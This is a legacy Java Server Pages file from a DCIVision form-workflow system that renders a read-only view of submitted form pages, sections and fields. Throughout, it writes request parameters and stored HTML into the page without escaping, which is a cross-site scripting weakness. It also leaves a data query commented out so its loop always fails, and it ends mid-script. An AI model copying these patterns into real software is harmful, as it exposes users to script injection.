<%
/*
 * @(#)ViewFormSubmissionStep.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewFormSubmissionStep.jsp

  This class is reflecting business logic uses.

    @author           Vera Wang
    @company          DCIVision Limited
    @creation date    11/11/2004
    @version          $Revision: 1.14.4.6 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>
<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<!-- Framework Javascript End -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>

<%
  String LIST_NAME = "formPageList";
 // String listName =request.getAttribute("listName");

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  Integer submissionID;
  String formSubmissionID = request.getParameter("formSubmissionID");
  if ("null".equals(formSubmissionID)) {
    formSubmissionID = "";
  }

  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageListName");
  if (request.getAttribute("formPageListName")!=null) {
    pageListSize = formPageList.size();
  }

  boolean isImportFile = false;
%>

<html:form action="form/MaintFormSubmission">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String PRE_PAGE_HEAD_DIV = "PAGE_HEAD_DIV_";
   String PRE_PAGE_CONTENT_DIV = "PAGE_CONTENT_DIV_";
   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);  
   String sCurFunctionCode = SystemFunctionConstant.FORM_TRACK;
   if("FORMMONITOR".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.FORM_MONITOR;
   }

   String isViewTask = "N";

   if(!Utility.isEmpty(request.getParameter("isViewTask")))
     isViewTask = request.getParameter("isViewTask");


   boolean isStepEdit = false;  // if this workflow step have a need edit form
   boolean isStepAllView = false; // if this workflow step have a need view form


  Integer sectionID = new Integer(1);
  java.text.SimpleDateFormat format = new java.text.SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  String submissionStatus = FormSubmission.FORM_SUBMISSION_STATU_COMPLETED;
  boolean haveWorkflow = false;

  Integer pageID = new Integer(1);
  Integer workflowStepID = new Integer(0);
  WorkflowStep workflowStep =  null; 
  String allPageIDStr = "";
  String allSectionIDStr = ""; 

  WorkflowStepDAObject workflowStepDAObj =  new  WorkflowStepDAObject(sessionContainer, conn);

  boolean isWorkflowProcess = false;
  if(!Utility.isEmpty(request.getParameter("workflowStepIDStep"))&&!"0".equals(request.getParameter("workflowStepIDStep"))&& !"null".equals(request.getParameter("workflowStepIDStep")))
  isWorkflowProcess = true;
  //form tracking view all read and edit section.
  boolean isShowReadEditSection = !Utility.isEmpty(request.getParameter("isShowReadEditSection")) && "true".equals(request.getParameter("isShowReadEditSection")) ? true : false;
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>

<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>

<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'/>
<input type="hidden" name="formPageID" value='<%=pageID%>'/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>
<input type="hidden" name="formSubmissionID" value='<%=request.getParameter("formSubmissionID")%>'/>
<input type="hidden" name="isWorkflowViewFlag" value='<%=request.getParameter("isWorkflowViewFlag")%>'/>
<input type="hidden" name="progressID" value='<%=request.getParameter("progressID")%>'/>
<input type="hidden" name="workflowStepID" value='<%=request.getParameter("workflowStepIDStep")%>'/>
<input type="hidden" name="workflowStepIDStep" value='<%=request.getParameter("workflowStepIDStep")%>'/>
<input type="hidden" name="isStartStep" value='<%=request.getParameter("isStartStep")%>'/>
<input type="hidden" name="userRecordID" value='<%=request.getParameter("userRecordID")%>'/>

<!-- Page Title Section -->
<%if (!"N".equals(request.getParameter("SHOW_HEADER_FOOTER"))) {%>
<layout:titleFormat>
<font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>" displayActionStr="false" functionType="common.label.form_action_view"/></font>
<layout:returnButton>
<%if ("FORMTRACKING".equals(request.getParameter("function")) ) {%>
             ListFormTrackingDetail.do?formRecordID=<%=request.getParameter("formRecordID")%>&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
            <%} else if ("FORMMONITOR".equals(request.getParameter("function")) ) {%>
             ListFormMonitoringDetail.do?formRecordID=<%=request.getParameter("formRecordID")%>&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
<%}%>
</layout:returnButton>
</layout:titleFormat>
<%}%>
<!-- End Page Title Section -->
<!-- begin table 1 -->
<table cellpadding="0" cellspacing='<%="N".equals(request.getParameter("SHOW_HEADER_FOOTER"))?5 :20%>' border="0" width="100%"><tr><td>
 <!-- begin table 2 -->
 <table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
  <tr><td>
  <!-- =================== Superpose Page Head Begin ==================== -->
  <jsp:include page="IncludeFormTab.jsp"> 
    <jsp:param name="prefixPageHeadDiv" value="<%=PRE_PAGE_HEAD_DIV%>"/>  
    <jsp:param name="prefixPageContentDiv" value="<%=PRE_PAGE_CONTENT_DIV%>"/> 
    <jsp:param name="isPreview" value=""/>   
    <jsp:param name="opMode" value="<%=!Utility.isEmpty(maintFormSubmissionForm.getOpMode())%>"/>   
    <jsp:param name="formRecordID" value="<%=maintFormSubmissionForm.getFormRecordID()%>"/>             
    <jsp:param name="workflowStepID" value='<%=request.getParameter("workflowStepIDStep")%>'/>   
    <jsp:param name="isUserViewStep" value="true"/>      
    <jsp:param name="isStartStep" value='<%=request.getParameter("isStartStep")%>'/>      
    <jsp:param name="isShowReadEditSection" value='<%=request.getParameter("isShowReadEditSection")%>'/>            
  </jsp:include>
  <!-- =================== Superpose Page Head End ==================== -->
  </td></tr>
  <tr><td>
   <!-- begin table 3 -->
   <table bgcolor="#999999" width="100%" height="100%" cellpadding="0" cellspacing="1"><tr><td bgcolor="#FFFFFF">
   <!--begin table for display page,section,element  -->
   <table width="100%" cellpadding="0" cellspacing="0" border="0" >
    <tr><td colspan="2">
<!-- ************************************** Start of Form Border ********************************** -->
<%
for (int pp=0; pp<formPageList.size(); pp++){
  FormPage formPage = (FormPage)formPageList.get(pp);
  pageID = formPage.getID();     
  
%>
 <!--########################### Page Table Begin ############################### -->
<span id="<%=PRE_PAGE_HEAD_DIV + formPage.getID().toString()%>">
 <table border=0 cellspacing="0" cellpadding="0" width="100%">
    <tr align="left">
        <td valign="top" width="100%">
<!-- ************************************** Start of Form Content ********************************** -->
       </td>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
            </tr>
          </table>
</span>   
    <!-- ====================== Page Head Table End   =================== -->    
<span id="<%=PRE_PAGE_CONTENT_DIV + formPage.getID().toString()%>">        
<!--  ########################### Section Table Begin ########################### -->       

<%
  //get the form section list
  Integer elementID;
  List formSectionList = formPage.getFormSectionList();
  String allElementIDStr = "";

  for (int i=0; i<formSectionList.size(); i++) {
    FormSection tmpFormSection = (FormSection) formSectionList.get(i);
    sectionID = tmpFormSection.getID();
    allSectionIDStr += sectionID + ",";

  if(((String)tmpFormSection.getSubSection()).equals("Y")&&!isWorkflowProcess&&(Utility.isEmpty(request.getParameter("preview"))||"null".equals(request.getParameter("preview"))) )
    continue;
  //edit section in process step
    boolean isStepEditSub = false;  // if this is a edit section in process step in workflow
    boolean isStepView = false; // if this is a view section in process step in workflow

  if (isWorkflowProcess){
    workflowStepID = new Integer(request.getParameter("workflowStepIDStep"));
    workflowStep = (WorkflowStep)workflowStepDAObj.getObjectByID(workflowStepID);

    String stepFormSectionID =  workflowStep.getSectionID();
    if ( stepFormSectionID  != null) {
        String sectionSubID,sectionSubRID ;
        StringTokenizer sTokenSum = new StringTokenizer(stepFormSectionID, "|");
        if( sTokenSum.hasMoreElements()){//GET EDIT SECTION ID
        sectionSubID = (String) sTokenSum.nextElement();
        StringTokenizer sToken = new StringTokenizer(sectionSubID, ",");
        String[] setSectionIDArray = new String[sToken.countTokens()];
        for (int j = 0; sToken.hasMoreElements(); j++) {
          setSectionIDArray[j] = (String) sToken.nextElement();
        }
        for (int k = 0; k < setSectionIDArray.length; k++) {
          if (setSectionIDArray[k].equals(sectionID.toString())) {
            isStepEdit = true;
            isStepEditSub = true;
            break;
          }
        }
        }
        if( sTokenSum.hasMoreElements()){//GET VIEW SECTION ID
        sectionSubRID = (String)sTokenSum.nextElement() ;
        StringTokenizer sToken = new StringTokenizer(sectionSubRID, ",");
        String[] setSectionIDArray = new String[sToken.countTokens()];
        for (int j = 0; sToken.hasMoreElements(); j++) {
          setSectionIDArray[j] = (String) sToken.nextElement();
        }
        for (int k = 0; k < setSectionIDArray.length; k++) {
          if (setSectionIDArray[k].equals(sectionID.toString())) {
            isStepView = true;
            isStepAllView = true;
            break;
          }
        }
        }
    }//stepFormSectionID  != null

  }// end  isWorkflowProcess


  if ((isWorkflowProcess &&  (isStepEditSub || (isStepView && isShowReadEditSection ))) || (("true".equals(request.getParameter("isStartStep")) || isShowReadEditSection) && ((String)tmpFormSection.getSubSection()).equals("N") )){ 
    allPageIDStr += pageID + ",";
    try{
      FormSubmissionHtmlDAObject formSubmissionHtmlDAO = new FormSubmissionHtmlDAObject(sessionContainer, conn);
      FormSubmissionHtml formSubmissionHtml = (FormSubmissionHtml)formSubmissionHtmlDAO.getByRecordIDPageIDSectionID(new Integer(request.getParameter("formRecordID")),pageID,sectionID);
        isImportFile = true;
    %>
       <%// show form in FormSubmissionHtml for import version.%>
       <SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript>
       <!--
    var isImport_<%=sectionID%>="N";
    if(<%=isStepView%>){
        isImport_<%=sectionID%>="Y";
    }
      //-->
      </SCRIPT>
      <%=(String)formSubmissionHtml.getPageHtml()%>

      <%//set value to element.%>

  <%}catch (ApplicationException appEx) {
        if (ErrorConstant.DB_RECORD_NOT_FOUND_ERROR.equals(appEx.getMsgCode())) {

  %>
        <table width="100%" border="0"><!-- Section table -->
           <tr >
              <td
              align="<%
              if (tmpFormSection.getsectionPosition()!=null){
              if ("C".equals(tmpFormSection.getsectionPosition()))
              out.print("center");
              if ("L".equals(tmpFormSection.getsectionPosition()))
              out.print("left");
              if ("R".equals(tmpFormSection.getsectionPosition()))
              out.print("right");
              }
              %>"><font style='<%
               String tmpFontStyle="";
               if (tmpFormSection.getsectionFontStyle()!=null){
               for (int k=0; !Utility.isEmpty(tmpFormSection.getsectionFontStyle()) && k < tmpFormSection.getsectionFontStyle().length(); k++) {
          if ("B".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
            tmpFontStyle += "font-weight: bold;";
          } else if ("U".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
            tmpFontStyle += "text-decoration: underline;";
          } else if ("I".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
            tmpFontStyle += "font-style: italic;";
          }
        }
       }
        out.print(tmpFontStyle);
         if(TextUtility.parseInteger(tmpFormSection.getsectionFontSize()) >0) {
           out.print("font-size:"+tmpFormSection.getsectionFontSize()+"px;");
         }
         if (!Utility.isEmpty(tmpFormSection.getsectionFontType())) {
           out.print("font-family:"+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+tmpFormSection.getsectionFontType())+";");
         }
         %>color:<%=tmpFormSection.getsectionFontColor()%>;' ><%=tmpFormSection.getTitle()%></font></td>
           </tr>
           <tr>
             <td align="center" bgcolor="black"><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>
           </tr>
         </table>
         <table width="100%" border="0"><!-- Element table -->

<%  
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();
    for (int j=0; j<formElementList.size(); j++) {

      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      elementID = tmpFormElement.getID();

      String elementAlign = "left";

      Integer fontSize;
      String fontColor = "";
      String fontStyle = "";
      String labelPosition = "";
      String fontType = "";
      String preFontStyle = "<font ";        //Prefix  FontStyle
      String posFontStyle = "</font>";       //Postfix FontStyle
      String nextFontStyle = "";
      String leftPosition = "";
      String topPosition = "";
      MtmFormSectionFormElementDAObject mtmFormSectionFormElementDAO = new MtmFormSectionFormElementDAObject(sessionContainer,conn);
      MtmFormSectionFormElement tmpMtmFormSectionFormElement = (MtmFormSectionFormElement)mtmFormSectionFormElementDAO.getObjectBySectionIDElementID(sectionID,elementID);

      fontSize = tmpFormElement.getFontSize();
      fontColor = tmpFormElement.getFontColor();
      fontStyle = tmpFormElement.getFontStyle();
      fontType = tmpFormElement.getFontType();
      labelPosition = tmpFormElement.getLabelPosition();

    if(!Utility.isEmpty(fontStyle) || !Utility.isEmpty(fontSize) ||
     !Utility.isEmpty(fontColor) || !Utility.isEmpty(fontType)){
     preFontStyle += " style='";
    }

      //handel Font Style
      if (!Utility.isEmpty(fontStyle)) {
        //preFontStyle += " style='";
        for (int k=0; k < fontStyle.length(); k++) {
          if ("B".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "font-weight: bold;";
          } else if ("U".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "text-decoration: underline;";
          } else if ("I".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "font-style: italic;";
          }
        }
      }

      if (!Utility.isEmpty(fontSize)) {
        preFontStyle += " font-size:" + fontSize+"px;";
      }
      if (!Utility.isEmpty(fontColor)) {
        preFontStyle += " color:" + fontColor+";";
      }
      if (!Utility.isEmpty(fontType)) {
        preFontStyle += " font-family:" +
          MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+fontType) +";";
      }
      if(preFontStyle.indexOf("'") >-1) {
        preFontStyle += "'";
      }
      preFontStyle += ">";
      if (preFontStyle.length() < 10) { // if not set the FontStyle of the element
        preFontStyle = "";
        posFontStyle = "";
      }

      //handel the position
      if (!Utility.isEmpty(labelPosition)) {
        if (tmpFormElement.isLeftLabelPosition(labelPosition)) {
          elementAlign = "left";
          leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
        } else if (tmpFormElement.isCenterLabelPosition(labelPosition)) {
          elementAlign = "center";
          leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
        } else if (tmpFormElement.isRightLabelPosition(labelPosition)) {
          elementAlign = "right";
          leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
        } else if (tmpFormElement.isTopLabelPosition(labelPosition)) {
          topPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "<br>";
        } else if (tmpFormElement.isHiddenLabelPosition(labelPosition)){
          leftPosition = "";
          topPosition = "";
        }
      } else {
        leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle ;
      }

      FormAttachDAObject      formAttachDAO = new FormAttachDAObject(sessionContainer,conn);
      FormAttach      formAttach=null;


      if (formAttachDAO.getObjectByID(elementID)!=null) {
        formAttach = (FormAttach)formAttachDAO.getObjectByID(elementID);
      }

      //get the element value from Form_Data_Element
      String elementValue = "";
      String formDataIDStr = "";

      if(!Utility.isEmpty(formSubmissionID) && !"".equals(formSubmissionID)){

        submissionID = Integer.valueOf(formSubmissionID);
        FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);

        FormDataDAObject formDataDAO = new FormDataDAObject(sessionContainer,conn);
        List formDataList = null;
        Integer formDataSeqNo = new Integer(-1);
        try {
//          if (isWorkflowProcess &&  (isStepEditSub || ((isStepView || "N".equals(tmpFormSection.getSubSection())) && isShowReadEditSection && !"true".equals(request.getParameter("isStartStep")) )) ){
//             formDataSeqNo = formDataElementDAO.getFormDataSeqIDBySectionIDSubmissionIDWFProgressID(sectionID,submissionID,new Integer(request.getParameter("progressID")),new Integer(request.getParameter("userRecordID")));
//             if (formDataSeqNo.intValue()>0){  
//               formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDWFProgressID(pageID,sectionID,submissionID,elementID,formDataSeqNo,new Integer(request.getParameter("progressID")),new Integer(request.getParameter("userRecordID")));
//             }else{
//               formDataSeqNo = formDataElementDAO.getFormDataSeqIDBySectionIDSubmissionIDWFProgressID(sectionID,submissionID,null,new Integer(request.getParameter("userRecordID")));        
//               formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDWFProgressID(pageID,sectionID,submissionID,elementID,formDataSeqNo,null,new Integer(request.getParameter("userRecordID")));
        
//             }           
//          }else{
//             formDataSeqNo = formDataElementDAO.getFormDataSeqIDBySectionIDSubmissionIDWFProgressID(sectionID,submissionID,null,new Integer(request.getParameter("userRecordID")));
//             formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDWFProgressID(pageID,sectionID,submissionID,elementID,formDataSeqNo,null,new Integer(request.getParameter("userRecordID")));
//          }
          for (int kk=0;kk<formDataList.size();kk++) {
            FormData formData = (FormData)formDataList.get(kk);
            if (kk>0) {
              elementValue += ",";
            }
            elementValue += (!"null".equals(formData.getDataString()) && !Utility.isEmpty(formData.getDataString())) ? formData.getDataString() : "";
          }

        } catch (Exception ae) {
          org.apache.commons.logging.LogFactory.getLog("FormDataDAObject").error("getByDataElementID error");
        }

      }

%>


          <tr>
<%
      //if the form element is a text box

%>

<% if(FormElementType.isLabel(tmpFormElement.getElementType())){ %>
  <td noswap  colspan="2"  align="<%=elementAlign%>" width="21%" class="greyD">
<% }else{%>
  <td noswap    align="<%=elementAlign%>" width="21%" class="greyD">
<% }%>
<%    if("Y".equals(tmpFormElement.getRequiredFlag())){
                out.write("<font color='red'>*</font>");
            }else{
                out.write("&nbsp;");
            }

//START TEXT BOX
      if(FormElementType.ELEMENT_TEXT.equals(tmpFormElement.getElementType())){%>
        <%=leftPosition%></td><td class="greyD"><%=topPosition%>
        <%if(!Utility.isEmpty(formSubmissionID) && !GlobalConstant.OP_MODE_UPDATE.equals(maintFormSubmissionForm.getOpMode()) ){
        %>
           <input type='hidden' name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>' value='<%=elementValue%>' />
           <%out.print(elementValue);
          }
      }
//END TEXT BOX


//START CURRENT LOGIN
      if(FormElementType.ELEMENT_CURRENT_LOGIN.equals(tmpFormElement.getElementType())){
%>
             <bean:message key='form.label.field_type_G'/> </td><td class="greyD"><%=topPosition%> 
              <%if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                  if(!Utility.isEmpty(formSubmissionID) ){
%>
<input type='hidden' name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>' value='<%=elementValue%>' />
<%
                    out.print(elementValue);
                  } %>
              <%} %>
<%

      }
//END CURRENT LOGIN

//START CURRENT DATE

      if(FormElementType.ELEMENT_CURRENT_DATE.equals(tmpFormElement.getElementType())){
%>
             <bean:message key='form.label.field_type_U'/> </td><td class="greyD"><%=topPosition%>
              <%if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                  if(!Utility.isEmpty(formSubmissionID) ){
%>
<input type='hidden' name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>' value='<%=elementValue%>' />
<%
                    out.print(elementValue);
                  } else if (!Utility.isEmpty(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()))) {
                      out.print(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()));
                  } %>
              <%}  %>

<%

      }
//END CURRENT DATE

//START TEXT AREA

      else if(FormElementType.ELEMENT_TEXT_AREA.equals(tmpFormElement.getElementType())){
%>
              <%=leftPosition%></td><td class="greyD"><%=topPosition%>
              <%if(!Utility.isEmpty(formSubmissionID)&& !GlobalConstant.OP_MODE_UPDATE.equals(maintFormSubmissionForm.getOpMode()) ){
%>
<input type='hidden' name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>' value='<%=elementValue%>' />
<%
                    out.print(elementValue);
                  } else {
            if(!Utility.isEmpty(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID())))
                    out.print(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()) );
                  }%>

<%
      }
//END TEXT AREA

//START LABEL

      else if(FormElementType.isLabel(tmpFormElement.getElementType())){
%>
              <%=preFontStyle%><%=tmpFormElement.getFieldName()%><%=posFontStyle%> </td>



<%
      }
//END LABEL

//START PASSWORD

      else if(FormElementType.ELEMENT_PASSWORD.equals(tmpFormElement.getElementType())){
%>
              <%=leftPosition%></td><td class="greyD"><%=topPosition%>
              <%="********************"%>
<%
      }
//END PASSWORD

//START IMAGE
      else if (FormElementType.ELEMENT_IMAGE.equals(tmpFormElement.getElementType())) {
      String imageName="";
      String  repath=SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH);

      if (formAttach!=null) {
        imageName=formAttach.getFileName();
      } else {
      imageName="";
      }

      if (formAttach!=null) {
        if (tmpFormElement.isLeftLabelPosition(labelPosition)){%>
          <%=preFontStyle%><%=tmpFormElement.getFieldName()%><%=posFontStyle%>
<%      }
      } %>
              </td><td class='greyD'>
              <%
              if (formAttach!=null) {
                if (tmpFormElement.isTopLabelPosition(labelPosition) ) {%>
               <table><tr><td> <%=preFontStyle%><%=tmpFormElement.getFieldName()%><%=posFontStyle%></td></tr><tr><td>
<%              }
              } %>
<%
              if (formAttach!=null) {
               if (imageName.indexOf(".")>0) {
%>
              <img src='<%=request.getContextPath()+"/"+repath+"/"+tmpFormElement.getID()+ imageName.substring(imageName.indexOf("."),imageName.length())%>'>     </td>

<%
               }
              }
%>
              <%
              if (tmpFormElement.getLabelPosition()!=null) {
                if (tmpFormElement.isTopLabelPosition(labelPosition)){%>
                </td></tr></table>
                <%}
              }%>
<%           }
//END IMAGE

//START DATEPICKER

      else if(FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
%>

              <%=leftPosition%></td><td class="greyD"><%=topPosition%>
              <%if(!Utility.isEmpty(formSubmissionID) && !GlobalConstant.OP_MODE_UPDATE.equals(maintFormSubmissionForm.getOpMode()) ){
%>
<%
                    out.print((Utility.isEmpty(elementValue)||"null".equals(elementValue))?"":elementValue.substring(0,10));
                  } else {
                    out.print(Utility.isEmpty(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()))?"":request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()).substring(0,10));
                  }%>
              <input type="hidden" name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>' value="<%=elementValue%>" >
              <input type="hidden" name='dummy_<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>' value="<%=elementValue%>" >

<%
      }
//END DATEPICKER

      //if the form element is selection type
      else if(FormElementType.isSelection(tmpFormElement.getElementType())){
        FormSelectionField formSelectionField = tmpFormElement.getFormSelectionField();
%>
              <%=leftPosition%></td><td class="greyD"><%=topPosition%>
              <%
              if(formSelectionField != null){
                String brString = "";
                if (!Utility.isEmpty(formSelectionField.getDisplayType())) {
                  brString = formSelectionField.isVertical(formSelectionField.getDisplayType())? "<br>":"";
                }


                List formSelectionFieldOptionList = formSelectionField.getFormSelectionFieldOptionList();
          for (int k=0; k<formSelectionFieldOptionList.size(); k++) {


            FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) formSelectionFieldOptionList.get(k);

                  //if the form element is a radio box

//START RADIO BOX
                  if(FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement.getElementType())){
              %>
              <input type='radio' name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>' value='<%=tmpFormSelectionFieldOption.getStartValue()%>'

              <%
                  if (!Utility.isEmpty(formSubmissionID) && elementValue.equals(tmpFormSelectionFieldOption.getStartValue()) ){
                    out.write(" checked ");
                  } else if (!Utility.isEmpty(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()) ) && request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()).equals(tmpFormSelectionFieldOption.getStartValue()) ) {
                    out.write(" checked ");
                  }

                  out.write(" disabled ");


          %>
              /><%=tmpFormSelectionFieldOption.getLabel()%><%=brString%>

      <%

                  }
//END RADIO BOX

//START CHECK BOX
                  else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){
              %>

              <input type='checkbox' name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>_<%=tmpFormSelectionFieldOption.getID()%>' value='<%=tmpFormSelectionFieldOption.getStartValue()%>'

              <% String fdefaultValue=(tmpFormElement.getDefaultValue()==null)? "" : tmpFormElement.getDefaultValue();%>

              <%if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode()) ) {
                  if (!Utility.isEmpty(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()+"_"+tmpFormSelectionFieldOption.getID())) && request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()+"_"+tmpFormSelectionFieldOption.getID()).equals(tmpFormSelectionFieldOption.getStartValue()) ){
                    out.write(" checked ");
                  } else if (!Utility.isEmpty(elementValue) && elementValue.indexOf(String.valueOf(tmpFormSelectionFieldOption.getStartValue()))>=0) {
                    out.write(" checked ");
                  }
                  if(!isStepEditSub)
                      out.write(" disabled ");
              }
              %>
              /><%=tmpFormSelectionFieldOption.getLabel()%><%=brString%>

<%

                  }//END CHECK BOX

                  //if the form element is a selection box

//START SELECTION BOX

                  else if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){
              %>

              <%if(k==0){%><select name='<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpFormElement.getID()%>'

<%
                  out.write(" disabled ");
%>
        ><%}%>

              <option value='<%=tmpFormSelectionFieldOption.getStartValue()%>'
              <%
                  if (!Utility.isEmpty(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID())) && request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID()).equals(tmpFormSelectionFieldOption.getStartValue()) ) {
                    out.write(" selected ");
                  } else if (!Utility.isEmpty(elementValue) && elementValue.equals(tmpFormSelectionFieldOption.getStartValue()) ) {
                    out.write(" selected ");
                  }

              %>
              /><%=tmpFormSelectionFieldOption.getLabel()%></option>
<%
                    if(k==formSelectionFieldOptionList.size()-1){
%>
        </select>

<%

                    }
                  }
//END SELECTION BOX
                }
              }
%>

<%

      }
%>
      </td>
    </tr>

<%
       }
    }
%>
    </table>
<%
  }
%>
  <%
      }//end if (ErrorConstant.DB_RECORD_NOT_FOUND_ERROR.equals(appEx.getMsgCode())).
    } // End formSubmissionHtml catch.

%>
<!--  ########################### Page Table End ########################### -->  
  </span>
  <%
    }
%>
</td>
      </tr>
      <tr>
       <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
      </tr>
     </table> <!--end table for display page,section,element  -->
    
      </td></tr>
   </table>
  <!-- end table 3 -->
    </td>
   </tr>
  </table>
 <!-- end table 2 -->
   
 <table width="100%" cellpadding="0" cellspacing="2" border="0" > 
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <%if ("N".equals(request.getParameter("SHOW_HEADER_FOOTER")) && !"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){%>
  <tr>
    <td colspan="2" align="center"><html:standardButton label="common.label.close" onClick="javascript:window.close();"/></td>
  </tr>
  <%}%>
</table>

</td></tr></table>

  </td> 
 </tr>
</table>
<!-- end table 1 -->

<input type=hidden name="allSectionIDStr" value=<%=allSectionIDStr%>>

<SCRIPT ID="clientEventHandlersJS" LANGUAGE="javascript">

<%
if (isImportFile){
  for (int pp=0; pp<formPageList.size(); pp++){
    FormPage formPage = (FormPage)formPageList.get(pp);  
    pageID = formPage.getID();
    //get the form section list
    Integer tmpelementID;
    List formSectionList1 = formPage.getFormSectionList();

    for (int ii=0; ii<formSectionList1.size(); ii++) {
    FormSection tmpFormSection = (FormSection) formSectionList1.get(ii);
    sectionID = tmpFormSection.getID();
//////
